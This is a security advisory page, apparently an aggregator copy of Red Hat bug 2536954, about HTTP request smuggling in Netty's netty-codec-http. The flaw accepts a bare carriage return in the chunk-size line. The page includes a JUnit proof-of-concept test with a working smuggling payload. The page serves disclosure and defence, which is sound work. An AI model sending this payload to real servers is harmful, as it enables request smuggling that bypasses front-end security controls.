REDHAT-BUG-2536954: Medium severity Netty netty-codec-http vulnerability

Published Sep 18, 2026
·
Updated

HTTP Request Smuggling due to control characters in the chunk-size line

A public GitHub Security Advisory (GHSA-rq4j-fc47-9698) describes the following issue:

Summary Netty skips strict chunk size line validation when the line has no chunk extension (;), so a chunk size line containing an embedded bare CR (e.g. 0\rX) is accepted instead of rejected, enabling HTTP request smuggling.

Details io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions only runs the strict validator HttpChunkLineValidatingByteProcessor when a ; is present:

java int extensionsStart = line.bytesBefore((byte) ';'); if (extensionsStart == -1) { return; }

According to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A

chunk-size = 1HEXDIG

PoC

java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "0\rX\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n";

EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.USASCII)));

// Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release();

// Request 2 (smuggled) request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertEquals("/smuggled", request.uri()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); }

Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Affected: - maven:io.netty:netty-codec-http affected >=4.2.0.Final, <=4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-http affected <=4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-rq4j-fc47-9698

Affected Software

2 affected components
Netty netty-codec-http>=4.2.0.Final<=4.2.17.Final
Netty netty-codec-http=4.1.137.Final

Event History

Sep 18, 2026
Data Sourced
via Red Hat·10:02 AM
DescriptionSeverityAffected Software

Frequently Asked Questions

1

What does an attacker need to send to trigger the parsing flaw?

The request must use Transfer-Encoding: chunked and include a chunk-size line with an embedded bare carriage return, such as "0\rX". Netty accepts this malformed line when it has no chunk extension delimiter (;).

2

Which component is affected by the described behavior?

The issue is in Netty's HTTP decoder, specifically the chunk-size-line validation path in io.netty.handler.codec.http.HttpObjectDecoder. The strict validator is skipped when the chunk-size line contains no semicolon.

Contact

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